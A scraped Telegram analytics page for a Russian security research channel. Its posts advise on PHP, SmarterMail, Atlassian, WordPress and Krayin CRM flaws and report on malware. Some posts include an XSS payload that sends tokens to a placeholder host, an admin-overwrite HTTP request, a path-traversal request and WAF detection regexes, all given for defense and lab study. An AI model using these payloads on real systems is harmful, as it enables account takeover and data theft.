Четыре луча
Открыть в Telegram
Облучаем экспертизой Заметки Solar 4RAYS c полей о DFIRMA, TH, OffSec Блог: https://rt-solar.ru/solar-4rays/blog/
Больше4 215
Подписчики
+624 часа
+257 дней
+18530 дней
Загружаем данные
Похожие каналы
Нет данных
Возникли проблемы? Пожалуйста, обновите страницу или обратитесь к нашему support-менеджеру .
Облако тегов
Входящие и исходящие упоминания
---
---
---
---
---
---
Привлечение подписчиков
октябрь '26окт. '26
октябрь '26
+73
в 0 каналах
сентябрь '26
+212
в 1 каналах
Get PRO
август '26
+24
в 2 каналах
Get PRO
июль '26
+34
в 1 каналах
Get PRO
июнь '26
+30
в 1 каналах
Get PRO
май '26
+42
в 0 каналах
Get PRO
апрель '26
+72
в 4 каналах
Get PRO
март '26
+103
в 4 каналах
Get PRO
февраль '26
+85
в 2 каналах
Get PRO
январь '26
+97
в 0 каналах
Get PRO
декабрь '25
+70
в 1 каналах
Get PRO
ноябрь '25
+720
в 0 каналах
Get PRO
октябрь '25
+308
в 1 каналах
Get PRO
сентябрь '25
+301
в 0 каналах
Get PRO
август '25
+391
в 0 каналах
Get PRO
июль '25
+342
в 7 каналах
Get PRO
июнь '25
+201
в 2 каналах
Get PRO
май '25
+1 240
в 1 каналах
Get PRO
апрель '25
+377
в 2 каналах
Get PRO
март '25
+464
в 17 каналах
Get PRO
февраль '25
+191
в 2 каналах
Get PRO
январь '25
+111
в 1 каналах
Get PRO
декабрь '24
+115
в 1 каналах
Get PRO
ноябрь '24
+646
в 5 каналах
| Дата | Привлечение подписчиков | Упоминания | Каналы | |
| 25 октября | +4 | |||
| 24 октября | +7 | |||
| 23 октября | +6 | |||
| 22 октября | +11 | |||
| 21 октября | 0 | |||
| 20 октября | +3 | |||
| 19 октября | +4 | |||
| 18 октября | +3 | |||
| 17 октября | 0 | |||
| 16 октября | +5 | |||
| 15 октября | +7 | |||
| 14 октября | +1 | |||
| 13 октября | +2 | |||
| 12 октября | +4 | |||
| 11 октября | +4 | |||
| 10 октября | 0 | |||
| 09 октября | +1 | |||
| 08 октября | +2 | |||
| 07 октября | 0 | |||
| 06 октября | +4 | |||
| 05 октября | +3 | |||
| 04 октября | 0 | |||
| 03 октября | 0 | |||
| 02 октября | +1 | |||
| 01 октября | +1 |
Посты канала
☀️ Встретимся на SOC Forum!
Уже в следующий вторник стартует SOC Forum 2026. Наши эксперты из 4RAYS, JSOC и DSec готовят несколько очень интересных выступлений!
📅 27 октября
12:45, зал «Физика»
Никита Прямухин в докладе «AI-Killchain в нынешних реалиях: от Vibeware до автономных агентов на базе LLM» расскажет о влиянии ИИ на эволюцию угроз.
15:00, зал «Архангельск»
Евгений Кантышев поделится лайфхаками эффективной аналитики телеметрии в докладе «Мониторинг процессов: выжимаем максимум из нативной телеметрии ОС хоста».
📅 28 октября
10:00, зал «Кинетика»
В докладе «В темноте кластера: как увидеть реальные угрозы в K8s, когда DevOps и SOC не разговаривают» Денис Харитонов поделится практическим опытом мониторинга безопасности Kubernetes.
11:45, зал «Архангельск»
Евгений Масьянов в докладе «AppTrickster. История одной неудавшейся уязвимости» представит метод обхода политик AppLocker в Windows.
12:45, зал «Кинетика»
Владислав Констюнин и Вячеслав Иванов выступят с докладом «Detection Engineering в SOC: как превратить разработку детектов в управляемый процесс».
15:15, зал «Физика»
В докладе «Возвращение IDFKA: как APT-группа NGC5081 провела работу над ошибками» Денис Чернов и Алексей Хабаров расскажут, как изменились тактики и инструментарий APT-группировки NGC5081 за год.
16:45, зал «Архангельск»
Кирилл Никитенков в докладе «Последний километр к бизнесу: почему атака на ERP начинается далеко от ERP» расскажет, как грамотно защищать жизненно важные бизнес-системы.
Все доклады достойны посещения, а некоторые из них ещё и содержат «пасхалки», которые помогут вам выиграть мерч в квесте на стенде Solar 4RAYS!
Так что, если любите мерч и квесты, смотрите слайды внимательно…
Кстати, игра начинается прямо сейчас: ZY7Z3FjvyaaboY8Et0OsYK2gq2ORz7sp5BM+Tlyq5dFC
❤️ До встречи на конференции!
| 2 | Фиолетовый слоник ☀️
php2shell — самая громкая цепочка уязвимостей последних дней, включающая в себя две уязвимости, CVE‑2026‑109618 и CVE‑2026‑109619, позволяющая выполнить RCE в PHP. Уязвимы версии PHP < 8.2.35 < 8.3.36 < 8.4.27 < 8.5.12.
👀 Кратко о CVE
CVE‑2026‑109618 связана с ошибкой обработки при исчерпании памяти. Когда PHP сталкивается с OOM-ситуацией, он может некорректно очистить временные файлы или освободить память, что приводит к повреждению внутренних структур данных.
CVE‑2026‑109619 является следствием первой ошибки. В частности, проблема в механизме session.upload_progress (отслеживание прогресса загрузки файлов), где после обновления данных сессии могут оставаться «висячие» указатели на уже освобожденную память (use-after-free).
Более подробно с техническими деталями уязвимости рекомендуем ознакомиться здесь.
На момент публикации поста насчитывается 466 репозиториев, посвященных php2shell. Важно отметить, что не все эти репозитории являются эксплойтами, часть из них — это рекомендации, патчи, примеры правил для различных СЗИ и лабораторные эмуляции.
Лабораторные эмуляции могут представлять собой сгенерированные ИИ скрипты и тестовые стенды с уязвимым ПО, которое настроено специально так, чтобы RCE было выполнено. Они не доказывают реальность работы PoC/exploit в реальных условиях.
💣 Теперь об эксплойтах
Универсального эксплойта, который бы подтвердил уязвимость для любых сервисов с PHP указанных версий, на сегодняшний день нет. Пока что подтверждена работоспособность на PHP 8.4.26 в определенной конфигурации Apache + mod_php. То есть эксплуатация гарантированно выполняется пока что только для конкретной сборки с конкретными настройками. Пример для лабораторной. Но даже она может выполниться не с первого раза.
Трафик эксплуатации для такой сборки мы приложим PCAP-файлом в комментариях.
✅ Способы защиты:
1) отслеживание создания системных шеллов от процесса сервера PHP;
2) отслеживание выполнения подозрительных команд от учетной записи, под которой работает сервер php (www-data, apache, php-fpm и т. д.);
3) правила IDS/WAF блокирующие POST-запросы, в теле которых передается PHP_SESSION_UPLOAD_PROGRESS;
4) обновление PHP до версий 8.5.12, 8.4.27, 8.3.36 или 8.2.35;
5) проверка логов на POST-запросы с телом, содержащим большое количество данных, например Content-Length: >200000;
6) для PHP-FPM — отключение отслеживания хода загрузки сессии session.upload_progress.enabled=0 и установка значения memory_limit=-1
7) mod_php — установка memory_limit=-1 | 1 200 |
| 3 | ☀️ Новый кастомный linux-бэкдор RFRx003 атакует IT-компании
Всем привет! Мы обнаружили ранее неизвестный вредонос, нацеленный на скрытное и длительное присутствие в linux-инфраструктуре.
Самое интересное из расследования:
1️⃣ Хитрый обход защиты: дроппер запускал вредоносный код исключительно из директории /dev/shm (RAM-диск). Файлы содержатся только в оперативной памяти и не попадают на жесткий диск — это позволяет обходить мониторинг файловой системы, а после перезагрузки все улики стираются.
2️⃣ Маскировка под «своих»: для закрепления в системе создавался сервис timesync.service, мимикрирующий под штатный демон синхронизации времени systemd.
3️⃣ Профессиональный арсенал: бэкдор написан на языке C с использованием фреймворка Mongoose. Он поддерживает 16 команд, умеет строить SOCKS5-туннели для бокового перемещения по сети, отключает сохранение истории bash (HISTFILE="") и маскирует скачивание файлов под легитимный веб-трафик (запросы к /users/avatars).
4️⃣ Цель атаки: Получив root-доступ через уязвимость на периметре, атакующие несколько месяцев незаметно исследовали инфраструктуру и в итоге похитили данные почтовых ящиков сотрудников.
Читайте подробности у нас в блоге. | 1 238 |
| 4 | 195 команд внутри одного HypeAgent 💣
Большинство современных вредоносов специализируется на одной задаче: краже паролей, удаленном доступе или загрузке других модулей. HypeAgent пошел другим путем: его авторы попытались собрать почти все возможные функции внутри одного трояна.
В исследованном образце реализовано 195 команд верхнего уровня. HypeAgent умеет похищать данные, управлять файлами и процессами, следить за пользователем, работать с сетью и разворачивать Hidden RDP. Есть и менее привычные возможности, например открытие дисковода, выключение монитора и управление корзиной.
Но сначала вредоносу необходимо попасть на компьютер.
В новой статье рассказываем:
👀 как устроена многоступенчатая доставка HypeAgent;
👀 почему внутри командного диспетчера находится 256 позиций, но реализовано 195 команд;
👀 какие возможности делают этот троян необычным даже на фоне современных RAT и стилеров.
Подробности уже в нашем блоге. | 1 618 |
| 5 | 💣 Злоумышленники осваивают DLSS 5
Мы уже как-то напоминали, что бездумно тянуть сомнительные утилиты с гитхаба — идея не из разряда отличных. После волны хайпа вокруг DLSS 5 появилась очередная история: на просторах интернета нам попался установщик, внутри которого вместо графических библиотек лежал обфусцированный RAT'ник на .NET — не особо новый, но вполне живой XWorm.
Здесь злоумышленникам очень помогает контекст. Любые неофициальные сборки и DLSS-5-one-click-инсталлеры по своей природе ведут себя подозрительно: они шерстят файловую систему в поисках установленных игр, подтягивают сторонние компоненты вроде ReShade или отдельных библиотек и модифицируют файлы в директориях. С точки зрения поведенческого анализа это мало чем отличается от активности тех же инфостилеров. В итоге защитные решения и песочницы закономерно предупреждают детектами, к которым комьюнити быстро привыкает и списывает все на ложные срабатывания (FP).
Полноценной кампании по массовому заражению под этой вывеской мы пока не видим, и часть детектов действительно остается банальными FP. Но расслабляться не стоит: пока все привычно закрывают глаза на предупреждения антивирусов, в очередной раздаче вполне может оказаться чистый XWorm, который никакой DLSS вам и не установит. | 1 651 |
| 6 |  SOLAR CTF уже через неделю! ☀
17 октября стартуют первые студенческие соревнования по кибербезопасности от «Солара» — возможность проверить свои навыки на практике, собрать команду и побороться за призы. Ровно неделя, чтобы успеть зарегистрироваться!
📍Что важно знать:
✦ Команды — до 5 человек
✦ Старт — 17 октября в 12:00 (МСК)
✦ Финиш — 18 октября в 12:00 (МСК)
✦ 24 часа на выполнение заданий
Общий призовой фонд — 300 000 ₽* + лимитированный мерч.
Участвовать можно, если тебе уже исполнилось 18 лет, ты студент, постоянно проживаешь на территории РФ и находишься в России во время соревнований.
Команды пока нет? Найти тиммейтов можно в чате SolarCTF
Собирай команду и регистрируйся на SolarCTF ❤ | 1 368 |
| 7 | Подготовили таску для Solar CTF. Присоединяйтесь 👇 | 1 141 |
| 8 |  +2👀 Цепочка уязвимостей, позволяющая выполнить RCE на серверах SmarterMail
CVE‑2026‑104082 (8,6/10). Уязвимость позволяет злоумышленнику, имеющему токен доступа с правами SysAdmin, обойти изоляцию каталогов скриптов. Через эндпойнт AddOrUpdateMount можно получить путь к каталогу Scripts. После этого через эндпойнт domain-put создается новый почтовый домен с произвольным корневым путем FileStore, расположенным внутри доверенного каталога Scripts. Это и позволяет обойти изоляцию каталогов скриптов.
CVE‑2026‑104083 (5,3/10). Проблема кроется в HTML-санитайзере SmarterMail. Злоумышленник может внедрить исполняемый скрипт, поместив полезную нагрузку внутрь элемента style, вложенного в MathML-контент, например math, mtext, mglyph. Серверный санитайзер ошибочно воспринимает эту конструкцию как инертный текст, в то время как браузеры интерпретируют ее как активную разметку.
CVE‑2026‑104084 (8,7/10). Уязвимость связана с обработкой JWT-токенов. При выдаче токенов доступа и обновления в них встраивается утверждение о роли, role claim. Однако при обновлении токена через эндпойнт POST /api/v1/auth/refresh-token система не проверяет это утверждение на соответствие текущей роли аккаунта в базе данных. Если у злоумышленника есть refresh-токен, выданный до понижения прав администратора, он может сохранить высокие привилегии.
Как работает цепочка.
Первый шаг: злоумышленник отправляет письмо, содержащее мутационную XSS. Администратор открывает письмо. Срабатывает XSS, которая перехватывает токен авторизации и отправляет его на сервер злоумышленника. Это CVE‑2026‑104083.
Второй шаг: имея токен, злоумышленник отправляет запросы на /api/v1/auth/refresh-token для обновления токена доступа и сохранения прав. Это CVE‑2026‑104084.
Третий шаг: используя токен доступа, злоумышленник выполняет основную RCE-цепочку. Через /api/v1/settings/sysadmin/AddOrUpdateMount выполняется вспомогательный шаг, получение пути к Scripts. Через /api/v1/settings/sysadmin/domain-put создается новый домен с FileStore root внутри Scripts. Через /api/upload загружается вредоносный RCE-файл. Это CVE‑2026‑104082. Дополнительные шаги для закрепления: /api/v1/settings/sysadmin/post-user создает нового пользователя, /api/v1/settings/sysadmin/global-mail отключает ограничения на загружаемые файлы.
Пример
На скриншотах показываем только первые две части цепочки и несколько запросов для третьей части из-за ограничений бесплатной версии SmarterMail, где нельзя создать больше одного домена. Полный PoC можно посмотреть тут.
💡 Лаба.
1) docker pull smartertools/smartermail:100.0.9770.
2) docker run -d --name smartermail -e TZ=America/Phoenix -p 80:80 -p 443:443 -p 443:443/udp -p 25:25 -p 110:110 -p 143:143 -p 465:465 -p 587:587 -p 993:993 -p 995:995 -p 5222:5222 -v /path/to/data:/app/Data -v /path/to/systemdata:/app/SystemData smartertools/smartermail:100.0.9770
3) Payload для вредоносного письма: <math><mtext><mglyph><style><img src=x onerror="var i=new Image(); i.src='http://XXX/?t='+localStorage.getItem('userTokens')"></style>
✅ Как защищаться
Обновиться.
Не открывать подозрительные файлы, особенно из папки «Спам».
Проверить вновь созданные домены.
Проверить вновь созданных пользователей.
Проверить новые файлы в директории приложения.
Проверить, включена ли блокировка исполняемых файлов.
Аудит запросов в /api/upload и /api/v1/settings/sysadmin/AddOrUpdateMount. | 1 380 |
| 9 |  ✅ Обнови Atlassian
CVE-2026-21589 — уязвимость, позволяющая неавторизованному злоумышленнику читать файлы из корневого каталога веб-приложения.
Затронуты версии:
Bitbucket Data Center
9.4.26, 10.2.8, 10.5.1
Confluence Data Center
9.2.26, 10.2.19
Jira Service Management Data Center
5.12.40, 10.3.26, 11.3.12
Jira Software Data Center
9.12.40, 10.3.26, 11.3.12
Bamboo Data Center
10.2.24, 12.1.12
Crowd Data Center
6.3.7, 7.0.3, 7.1.7, 7.2.4
Crucible
4.9.15
Fisheye
4.9.15
👁 Метрики:
CVSS-B: 9.3 CRITICAL
CWE: CWE-552
👀 Об уязвимости:
Проблема кроется в компоненте /download/* webresource router. Уязвимость состоит из двух ключевых ошибок, которые в совокупности позволяют обойти нормализацию URI в Tomcat.
Двойное URL-декодирование: Tomcat декодирует входящий URL только один раз. Однако webresource router в Atlassian вызывает URLDecoder.decode(request.getRequestURI()) повторно. Это означает, что последовательность ..%3a%3a (где %3a — это :) после первого декодирования Tomcat остаётся как ..%3a%3a, а внутри приложения она превращается в ..::.
Безопасное преобразование :: в /: После второго декодирования внутренний метод Router.unescapeSlashes преобразует последовательность :: в прямой слеш /. В результате этих двух шагов внутри приложения собирается примитив обхода пути ../, который Tomcat уже не проверяет.
☀️ Как строится запрос:
/download/ — точка входа
<route> — resources, sources, batch, contextbatch/js, contextbatch/css
ANCHOR — якорь, например jira.webresources:color-picker-popup/images/
traversal — ..%3a%3a
Цель — например, WEB-INF/classes/jira-application.properties
💣Пример запроса для jira:
/download/batch/jira.webresources:color-picker-popup/images/..%3a%3a..%3a%3a..%3a%3aWEB-INF/classes/jira-application.properties
✅ Как защищаться:
1) обновиться;
2) правила на WAF/IDS, блокирующие запросы в URI которых предается (::|\.\.:) и их кодированные представления, также можно добавить детект (\/\.\.|\.\.\/|\.\.;) ;
3) ограничить доступ к продуктам Atlassian через White list/VPN/сертификаты;
4) проверить запросы к WEB-INF. | 2 011 |
| 10 | Встретимся на ZeroNights 2026
⏰ Уже на следующей неделе, 30 сентября, состоится конференция по практическим аспектам информационной безопасности ZeroNights.
У нашей команды на конференции будет свой луна-парк стенд с челленджами и мерчем!
Если будете на конференции, обязательно заходите на огонёк, а если соберётесь участвовать в челлендже — присмотритесь внимательнее к файлу, прикреплённому к этому посту… 👀
До встречи в Санкт-Петербурге! | 2 289 |
| 11 | 👁 Блокчейн и ВПО
Использование распределенной инфраструктуры различных криптовалют (от Bitcoin до TON и Polygon) приобретает популярность у вирусописателей разного уровня.
Развитие криптовалюты и блокчейн-сетей, поддерживающих смарт-контракты стало новым инструментом в руках атакующих. Мы видим, что злоумышленники постепенно адаптируют этот инструмент для гибкого управления C2-инфраструктурой вредоносного ПО.
Еще одним относительно недавним нововведением, заметно поменявшим принципы, по которым устроено современное ВПО, стали децентрализованные DNS- и overlay-сети (например, TON).
Злоумышленники теперь могут покупать .ton-домены и использовать их для определения адресов своей инфраструктуры. В некоторых случаях вредоносное ПО реализует даже подключение к самой TON overlay.
💣 Недавно мы обнаружили, что создатели стилера Webrat стали использовать TON DNS. Вредонос научился получать адрес управляющего сервера, используя tonapi. Операторы используют домен .ton для хранения hex-записи строчки IP управляющего сервера. Это затрудняет обнаружение C2-коммуникаций этого ВПО. Подробности мы описали в новой статье у нас в блоге. | 3 623 |
| 12 |  💣 Click2Shell
Click2Shell — это цепочка уязвимостей в WordPress, которая может привести к удаленному выполнению кода (RCE). Для успешной атаки злоумышленнику необходимо, чтобы авторизованный администратор открыл специально подготовленную ссылку.
1️⃣ Шаг первый: XSS
В ядре WordPress существует уязвимый участок кода:
self.view.collection.once( 'query:success', function() {
$( 'div[data-slug="' + slug + '"]' ).trigger( 'click' );
});
Этот код позволяет злоумышленнику инициировать установку произвольной темы. Важно, что тема устанавливается без активации и остается неактивной.
Параметр slug контролируется злоумышленником. Он получается из аргумента theme в запросе /wp-admin/theme-install.php?theme=THEME_SLUG.
Атакующий формирует ссылку вида:
/wp-admin/theme-install.php?theme=something_theme"]>>>*/*
Вставленная кавычка закрывает селектор атрибута. Дочерние комбинаторы переходят к возвращаемой карточке темы. Завершающий CSS-комментарий нейтрализует фрагмент селектора, который добавляет WordPress.
Затем злоумышленник передает эту ссылку администратору. После перехода по ссылке администратором селектор вместо выбора только карточки темы переходит к элементам управления действиями, включая настоящую кнопку «Установить». В результате срабатывает JavaScript-код WordPress, и тема устанавливается автоматически.
2️⃣ Шаг второй: установка произвольной темы
Важно, чтобы WordPress мог загрузить functions.php темы во время подготовки предварительного просмотра. Это дает коду темы возможность регистрировать хуки и обработчики, даже если база данных все еще идентифицирует другую тему как активную.
Далее нужно выбрать тему, имеющую уязвимость, которую можно поэксплуатировать, например через хуки. Чтобы код темы выполнился, злоумышленнику нужно заставить админа активировать или запустить предпросмотр установленной темы, например через CSRF, фишинг или другую XSS-уязвимость. В обнаруженных эксплойтах фигурирует тема Mobile Repair Zone 2.5.4.
Пример RCE можно наблюдать на скриншоте.
👀 Лаба
В лабораторной эмуляции есть небольшие сложности. Активная версия Mobile Repair Zone на сегодняшний момент 2.5.5.
поэтому скачиваем:
wget https://downloads.wordpress.org/theme/mobile-repair-zone.2.5.4.zip
редактируем файл functions.php, так как даже в 2.5.4 есть защита от SSRF-атак, которая помешает сделать локальный запрос.
Меняем:
function mobile_repair_zone_plugin_download($url, $path) {
$response = wp_safe_remote_get( $url );
на:
function mobile_repair_zone_plugin_download($url, $path) {
$response = wp_remote_get ( $url );
Загружаем плагин руками через webui или через консоль. Далее можно поднимать локальный HTTP и загружать zip-файл с shell-кодом.
✅ Как защищаться:
1. Обновление ядра WordPress.
2. Проверка недавно загруженных тем.
3. Проверка директорий на предмет появления подозрительных файлов.
4. Правила на IDS/WAF, блокирующие запросы с нетипичным slug-значением [^a-zA-Z0-9_-]+ | 2 001 |
| 13 | 💣 Ржавый код: почему все переходят на Rust и когда аналитику можно его не реверсить
Rust окончательно закрепился в роли главного инструмента для усложнения жизни вирусным аналитикам. Недавно мы столкнулись подтверждением этого тренда: сильно обфусцированным образцом, который при первичном осмотре выглядел как сложная новая вредоносная программа, написанная с нуля на Rust.
По характерным признакам мы выявили, что это был знакомый SantaStealer, но слабо верилось, что автор всего за один-два месяца смог полностью его переписать на Rust и настолько тяжело обфусцировать. Да и сама изначальная логика быстрой работы стилера при таком подходе просто ломалась.
Реальность оказалась проще: саму малварь никто не переписывал, злоумышленники просто собрали вокруг нее многослойный «бутерброд»:
Ядро — классический SantaStealer, заточенный исключительно под быструю кражу данных.
Обертка — промежуточная DLL на Rust, маскирующая сигнатуры стилера.
Защита — сжатие растовой библиотеки алгоритмом LZMA и финальная упаковка под коммерческий виртуализатор Oreans CodeVirtualizer.
Этот случай наглядно иллюстрирует динамику последних лет. Переход малвари на нетипичные компилируемые языки (Rust, Go) наметился еще в районе 2023 года, когда уход от традиционного C/C++ только начинали обсуждать на Reddit и в профильных блогах.
Сегодня это мейнстрим. Операторы RansomExx в свое время переписали вымогатель на Rust ради обхода сигнатурных детектов, а авторы бэкдора SysJoker и вовсе свернули кодовые базы на C++ и Go в пользу единого растового билда. Масштаб этой тенденции стал настолько заметным, что этой теме сегодня все чаще посвящают отдельные статьи и аналитические материалы.
💡 Причина такой популярности проста. Злоумышленникам не нужна хваленая безопасность памяти (в малвари повсеместно используют unsafe) и редко критична производительность. Главная цель — намеренное разрушение статического анализа:
1️⃣ Статическая линковка: стандартные библиотеки и рантайм языка намертво зашиваются в бинарник, раздувая его до десятков мегабайт.
2️⃣ Каша в дизассемблере: развитая система типов, сложные абстракции и специфичная обработка паник превращают граф вызовов в IDA Pro или Ghidra в трудночитаемое полотно.
3️⃣ Низкий порог входа: благодаря генеративным нейросетям и публичным шаблонам на GitHub даже начинающим операторам достаточно пары запросов, чтобы собрать рабочий растовый лоадер, завернуть в него чужой стилер и натянуть готовый протектор.
Однако Rust и виртуализация бессильны перед динамикой. Как бы глубоко ни прятали логику, процессу все равно нужно взаимодействовать с системой: выделять память, обращаться к файлам браузеров и слать данные на C2. В рантайме такая переусложненная цепочка мгновенно триггерит EDR и песочницы характерными вызовами и другой аномальной активностью.
✅ Как понять, что на реверс Rust-бинарника не стоит тратить время:
1️⃣ В песочнице видны маркеры распаковщика/инжектора. К примеру, если процесс использует VirtualAlloc/NtAllocateVirtualMemory с правами RWX, пишет данные и создает поток — это обычный стейджер. Распутывать растовую инициализацию бессмысленно.
В данном случае удобна утилита API Monitor, особенно если полезная нагрузка инжектится через WriteProcessMemory, поскольку программа может сразу перехватить записываемый буфер.
2️⃣ Полезную нагрузку можно забрать из памяти. Снять чистый дамп процесса (через брейкпоинты, pe-sieve, HollowsHunter) получится только в том случае, если под виртуализатором спрятан дроппер, раскручивающий пейлоад в память. Если виртуализирован сам стиллер, сдампить исходный исполняемый код не выйдет — тут придется разбирать байткод ВМ. В нашем случае под защитой был лишь лоадер.
3️⃣ Сетевые и файловые IoC уже зафиксированы. Если инфраструктура C2, извлекаемые пути и ключи реестра перехвачены в динамике, глубокий реверс растовой обертки может не дать ничего нового.
Разбирать растовый код до последнего опкода имеет смысл только тогда, когда в него зашита уникальная логика или виртуализирован сам вредоносный функционал. Если же Rust выступает просто упакованным лоадером чужого софта, динамика экономит десятки часов работы. | 1 693 |
| 14 | 😳 DFIR diggin’ deeper: неочевидные источники артефактов при расследовании атак
Когда стандартный аудит молчит, а инфраструктура уже зашифрована, распутывать инцидент приходится по нетипичным следам. Вот один из примеров.
Кейс: Первоначальный доступ через?..
Вводные. Инфраструктура зашифрована. Найдена зараженная система нулевого пациента, но на ней нет внешних сервисов, RDP закрыт, а саму машину перед анализом перезагрузили (цепочки процессов в памяти нет).
Зацепка. В журнале трассировки ShutdownPerfDiagLogger.etl (хранит данные о выключении системы) мы обнаружили следы команды реверс-шелла.
👀 Что помогло найти артефакт?
С помощью утилиты ETLParser из .etl-файла удалось вытащить Parent PID (ID родительского процесса). Цепочка привела к неожиданному «виновнику» — процесс PostgreSQL.
В логах самой СУБД обнаружились:
• Типичная RCE-команда через SQL-инъекцию.
• Фрагменты эксплойта и следы брутфорса, который шел несколько месяцев.
💡 Финал: откуда пришел атакующий?
Поскольку более ранних зараженных машин внутри сети не обнаружили, проверили бэкапы конфигурации шлюза pfSense. Выяснилось, что ранее порт 5432 (PostgreSQL) временно публиковался наружу. Через него злоумышленники пробили базу, получили системные привилегии и начали шифрование.
✅ Главные выводы для форензики:
• Не пренебрегайте ETL-журналами Windows — они могут сохранить критические данные (например, Parent PID), которых больше нет ни в одном артефакте после перезагрузки.
• Смотрите бэкапы конфигураций сетевых устройств — актуальные настройки могут скрывать следы «временных» брешей, через которые и зашли хакеры.
❤️ А самый главный вывод: копайте глубже! Еще больше примеров неочевидных источников артефактов собрали в новой статье у нас в блоге! | 1 765 |
| 15 |  😀 Call for Papers на технострим SOC Forum 2026 еще открыт!
Темы:
1️⃣ Offense: актуальные техники атак, этичный хакинг, выявление уязвимостей, новые инструменты и наступательные подходы.
2️⃣ Defense: актуальные технологии защиты, обнаружение угроз и реагирование на них, кейсы реальных атак и их разбор, анализ APT-группировок и их инструментов (DFIR, MA, TI, TH, SOC, VM).
3️⃣ Архитектура ИТ и ИБ: построение безопасных систем.
4️⃣ SOC-практикум: для тех, кто хочет обменяться опытом, лайфхаками и рабочими методиками.
😬 В основном на форуме планируют обсуждать ИИ в ИБ. Поэтому если у вас есть что сказать на эту тему — подавайтесь!
Тайминг: до 30 минут.
Дата и время: 27–28 октября, кластер «Ломоносов».
Чтобы подать заявку, выберите трек, зайдите в личный кабинет или зарегистрируйтесь на сайте. Заполните все поля заявки и отправьте ее. Как обычно: чем детальнее описание, тем выше шанс выступить.
📅 Доклады принимаются по 11 сентября включительно.
Стать спикером | 1 958 |
| 16 | ☀️ Zimbra, все еще скрывающая боль
Ранее мы уже рассказывали о расследовании «Zimbra, скрывающая боль». Группировка Shedding Zmiy длительное время имела доступ к почтовой переписке организации, воспользовавшись уязвимостью в популярном почтовом сервере. Судя по всему, что-то похожее происходит вновь: недавно наши сенсоры зафиксировали множество исходящих подключений к серверам gs-netcat с почтовых серверов компаний, в которых ПО Zimbra не обновлялось с 2024 года (!).
Всего мы насчитали не менее 67 организаций:
• промышленность, производство и инженерия — 18 организаций;
• ИТ, телеком и цифровые сервисы — 9;
• строительство, недвижимость и строительные материалы — 8;
• агропромышленный сектор, производство продуктов и общепит — 8;
• транспорт, авиация, логистика и туризм — 7;
• розничная торговля и потребительские товары — 5;
• медиа и индустрия развлечений — 4;
• госсектор, образование и ЖКХ — 3;
• здравоохранение — 2;
• консалтинг и обслуживание систем безопасности — 2;
• поставки нефтепродуктов — 1.
Ранее мы встречали gs-netcat в основном в атаках группировок Shedding Zmiy, Lifting Zmiy и Proxy Trickster, но пока у нас нет достаточно данных, чтобы надежно атрибутировать новую волну атак.
✅ Если вы используете Zimbra, примите следующие меры:
• проверьте историю исходящих соединений почтового сервера, журналы событий, запущенные процессы и файлы, связанные с gs-netcat.
• Обратите внимание на запуск исполняемых файлов из временных и скрытых директорий, переменные GS_ARGS и GSOCKET_ARGS, а также процессы, маскирующиеся под системные.
При обнаружении такой активности сохраните артефакты и проведите оценку компрометации всей инфраструктуры. Простого обновления Zimbra или блокировки адресов может оказаться недостаточно, если атакующие уже закрепились на сервере. | 2 453 |
| 17 |  💡 Разберёмся с непопулярными артефактами на OffZone 2026
Выбираете, какие выступления посетить на конференции OffZone 2026? Несём один must-visit! Если вы работаете в цифровой форензике или просто ею интересуетесь, то приходите на доклад нашего эксперта Ивана Сюхина «DFIR, diggin’ deeper: неочевидные источники артефактов в DFIR-расследованиях».
Иван расскажет:
• что и как добывать из .etl;
• почему при наличии времени анализ образов принесет богатые плоды;
• какие неочевидные следы атакующих можно найти в error-логах;
• чем полезны SSSD-логи...
📅 …И кое-что еще о продвинутых способах цифровой криминалистики.
Просыпайтесь в пятницу, 21 августа, пораньше и приходите к 10:00 в Threat Zone! | 2 138 |
| 18 |  😀 Admin may cry
CVE-2026-41452 — уязвимость, позволяющая перезаписать данные администратора в Krayin CRM ≤2.2.0, ≥2.2.4
Метрики:
Base Score: 9.8 CRITICAL
CWE: CWE-306
Об уязвимости
В Krayin CRM используется промежуточное ПО CanInstall для защиты конечных точек установщика, чтобы никто не мог получить к ним доступ после установки системы.
Условие проверки для всех конечных точек /install выглядит так:
if ($this->isAlreadyInstalled() && ! $request->ajax()) {
return redirect()->route('admin.dashboard.index');
}
Логика построена на операторе &&, поэтому защиту можно обойти, если отправить запрос к любой конечной точке /install/ с заголовком X-Requested-With: XMLHttpRequest, который используется в AJAX-запросах.
При этом:
isAlreadyInstalled() вернет true, так как приложение уже установлено;
! $request->ajax() станет false благодаря добавленному заголовку.
В итоге редирект на route('admin.dashboard.index') не сработает.
Конечная точка /install/api/admin-config-setup отвечает за настройку учетных данных первого пользователя системы — администратора.
Пример эксплойта:
POST /install/api/admin-config-setup HTTP/1.1
Host: 192.168.177.165:8021
Content-Type: application/json
Accept: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 69
{"admin":"whatIsIt","email":"AMC@evil.com","password":"WW1337!"}
Этот запрос переопределяет учетные данные администратора и дает неавторизованному пользователю доступ к системе с правами администратора.
Важно! Это лишь один из возможных векторов атаки. Уязвимость затрагивает весь маршрут /install.
Лаба:
sudo docker pull webkul/krayin:2.2.0
sudo docker run -p 8021:80 --name krayin-container webkul/krayin:2.2.0
Логин/Пароль: admin@example.com / admin123
✅ Как защититься:
1) обновиться до актуальной версии;
2) проверить логи на наличие запросов к /install с заголовком X-Requested-With: XMLHttpRequest;
3) ограничить доступ к /install из внешней сети интернет с помощью правил WAF или IDS. | 1 904 |
| 19 |  💣 Уязвимости в средствах AI-автоматизации
Средства AI-автоматизации всё активнее используются для работы с корпоративными данными, API, файловыми системами и другими элементами инфраструктуры. Вместе с расширением их возможностей увеличивается и потенциальная поверхность атаки.
В новой статье рассматриваем характерные уязвимости современных средств AI-автоматизации и основные связанные с ними риски.
На примерах n8n, OpenClaw, Claude Code, Langflow и Flowise разбираем типовые уязвимости и сценарии атак, а также приводим рекомендации, которые помогут снизить риски при эксплуатации таких решений.
👽 Подробнее читать здесь. | 1 839 |
| 20 | 😬 Полиморфизм как сервис и код «на вайбе»: что происходит с современной малварью?
Главный тренд последних лет в кибербезопасности — критическое падение порога входа. Доступность специализированных моделей (DarkLLM) привела к появлению vibeware — софта, создаваемого буквально по одному текстовому промпту. Злоумышленникам больше не нужно писать один идеальный бэкдор: проще штамповать тысячи дешевых мутаций под конкретную ОС или платформу.
Разобрали на пальцах и примерах из практики:
1️⃣ Как ИИ-код выдает себя излишней «вежливостью», странными эмодзи в консоли и стерильной архитектурой.
2️⃣ Почему C2-трафик, тонущий в обычных обращениях к SaaS-платформам, обходит сетевые фильтры.
